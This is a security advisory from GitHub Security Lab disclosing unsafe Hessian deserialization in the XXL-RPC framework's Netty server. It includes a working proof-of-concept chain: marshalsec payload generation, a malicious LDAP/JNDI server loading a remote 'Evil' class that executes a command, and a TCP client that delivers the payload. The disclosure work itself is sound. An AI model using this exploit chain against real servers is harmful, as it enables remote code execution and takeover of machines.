Coordinated Disclosure Timeline
- 2023-03-28: Report sent to 931591021@qq.com
- 2023-06-14: Opened a public issue asking for a private way to report the vulnerability.
- 2023-06-27: Deadline expires
Summary
XXL-RPC is a high performance, distributed RPC framework. With it, a TCP server can be set up using the Netty framework and the Hessian serialization mechanism. When such a configuration is used, attackers may be able to connect to the server and provide malicious serialized objects that, once deserialized, force it to execute arbitrary code. This can be abused to take control of the machine the server is running in.
Product
XXL-RPC
Tested Version
Details
Unsafe deserialization in HessianSerializer.java
(GHSL-2023-052
)
The XXL-RPC framework implements several ways of setting up a server and deserializing incoming data. An application can be configured to use a Netty server and a Hessian deserializer as follows:
XxlRpcProviderFactory providerFactory = new XxlRpcProviderFactory();
providerFactory.setServer(NettyServer.class);
providerFactory.setSerializer(HessianSerializer.class);
It can be seen that NettyServer
uses NettyDecoder
to decode incoming messages:
xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/server/NettyServer.java:57
channel.pipeline()
// --snip--
.addLast(new NettyDecoder(XxlRpcRequest.class, xxlRpcProviderFactory.getSerializerInstance()))
With such a configuration, incoming messages will be received in NettyDecoder.decode
:
xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/codec/NettyDecoder.java:15-45
public class NettyDecoder extends ByteToMessageDecoder {
// --snip--
@Override
public final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
// --snip--
int dataLength = in.readInt();
if (dataLength < 0) {
ctx.close();
}
// --snip--
byte[] data = new byte[dataLength];
in.readBytes(data);
Object obj = serializer.deserialize(data, genericClass);
out.add(obj);
}
}
As it can be seen, first an integer is read from the message, indicating the length of the actual data. Said data is then read and directly passed to serializer.deserialize
. Since the serializer was configured to be HessianSerializer
, deserialization is handled by it:
xxl-rpc-core/src/main/java/com/xxl/rpc/core/serialize/impl/HessianSerializer.java:45
@Override
public <T> Object deserialize(byte[] bytes, Class<T> clazz) {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
Hessian2Input hi = new Hessian2Input(is);
try {
Object result = hi.readObject();
return result;
}
// --snip--
}
The message bytes are directly passed to Hessian2Input.readObject
, which will proceed to deserialize the object sent in the message.
Note that XXL-RPC uses com.caucho
’s implementation of Hessian, which is known to be vulnerable to unsafe deserialization. Other implementations attempt to mitigate this issue by including a disallow list of forbidden objects, such as sofa-hessian
, but this approach isn’t perfect either (see the Remediation section).
Impact
This issue may lead to Remote Code Execution (RCE).
Resources
The exploitation of this vulnerability varies depending on the deserialization gadgets available in the classpath of the application using the XXL-RPC framework. As described in this blog post, several conditions must be met in order to achieve remote code execution using this vulnerability.
As a proof of concept, and for the sake of simplicity, we make the following assumptions:
- The application has
Rome
as one of its dependencies:
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
- Remote class loading is allowed (either because an old JDK version is being used, or by using the JVM argument
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
)
If these two conditions are met, the XxlRpcServerApplication
class in XXL-RPC’s samples directory can be launched, which sets up a Netty server listening at port 7080.
Then, a malicious payload forcing a JNDI resolution to a server of our choosing can be generated with marshalsec
:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 Rome ldap://localhost:1389 > payload.bin
We set up a malicious JNDI server that returns a reference to a remote codebase also running in a server we control:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/\#Evil 1389
The HTTP server running at port 8000 serves the .class
file of the Evil
class, which has the following source code:
public class Evil {
static {
try {
Runtime.getRuntime()
.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (Exception e) {
}
}
}
Finally, we can write a TCP client that sends the appropriate message to the Netty server to trigger the RCE:
import java.io.DataOutputStream;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
public class TcpClient {
public static void main(String[] args) {
try {
byte[] DESERIALIZATION_PAYLOAD = Files.readAllBytes(Paths.get("payload.bin"));
Socket socket = new Socket("localhost", 7080);
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
out.writeInt(DESERIALIZATION_PAYLOAD.length);
out.write(DESERIALIZATION_PAYLOAD);
out.flush();
socket.close();
} catch (Exception ex) {
System.err.println(ex);
}
}
}
Credit
This issue was discovered and reported by the GitHub CodeQL team members @atorralba (Tony Torralba) and @joefarebrother (Joseph Farebrother).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-052
in any communication regarding this issue.